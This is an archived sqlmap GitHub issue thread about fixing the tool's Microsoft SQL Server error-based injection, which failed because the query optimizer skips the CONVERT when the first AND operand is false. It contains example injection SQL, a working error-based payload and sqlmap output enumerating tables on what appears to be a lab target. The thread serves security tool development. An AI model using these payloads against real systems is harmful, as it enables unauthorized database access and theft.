Closed stamparm closed 11 years ago
works:
SELECT 'foobar' FROM users WHERE id=-1 AND 4126=CONVERT(INT,(SELECT 'abc'+...)
Thanks @stamparm :)
Verified works a charm:
root@kali:/mnt/hgfs/git/sqlmap# ./sqlmap.py -u "http://sqlinjection/Default.aspx?__VIEWSTATE=%2FwEPDwUKMjEyNDQ3ODY4NGRk&txtUsername=a&txtPassword=a&btnLogin=Login" -D sqli --tables --technique=E
sqlmap/1.0-dev-a53823f - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:50:20
[19:50:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:50:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: txtUsername
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMjEyNDQ3ODY4NGRk&txtUsername=a' AND 8541=CONVERT(INT,(SELECT CHAR(113)+CHAR(116)+CHAR(115)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (8541=8541) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(119)+CHAR(108)+CHAR(113))) AND 'fdCc'='fdCc&txtPassword=a&btnLogin=Login
---
[19:50:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[19:50:20] [INFO] fetching tables for database: sqli
[19:50:20] [INFO] the SQL query used returns 3 entries
[19:50:20] [INFO] retrieved: dbo.movies
[19:50:20] [INFO] retrieved: dbo.trophy
[19:50:20] [INFO] retrieved: dbo.Users
Database: sqli
[3 tables]
+--------+
| Users |
| movies |
| trophy |
+--------+
[19:50:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[19:50:20] [INFO] fetched data logged to text files under '/mnt/hgfs/git/sqlmap/output/sqlinjection'
Thank you @Meatballs1 for your effort at debugging this issue and @stamparm for finding such a clean fix to it
problem noticed and reported by @Meatballs1 [https://github.com/sqlmapproject/sqlmap/issues/55#issuecomment-19512407]
doesn't work (first part of WHERE is evaluated to FALSE):
SELECT 'foobar' FROM users WHERE id=-1 AND 4126=CONVERT(INT,('abc'+...)
works (first part of WHERE is evaluated to TRUE):
SELECT 'foobar' FROM users WHERE id=1 AND 4126=CONVERT(INT,('abc'+...)
MsSQL optimizer skips conversion of second part if first part of AND is evaluated to FALSE.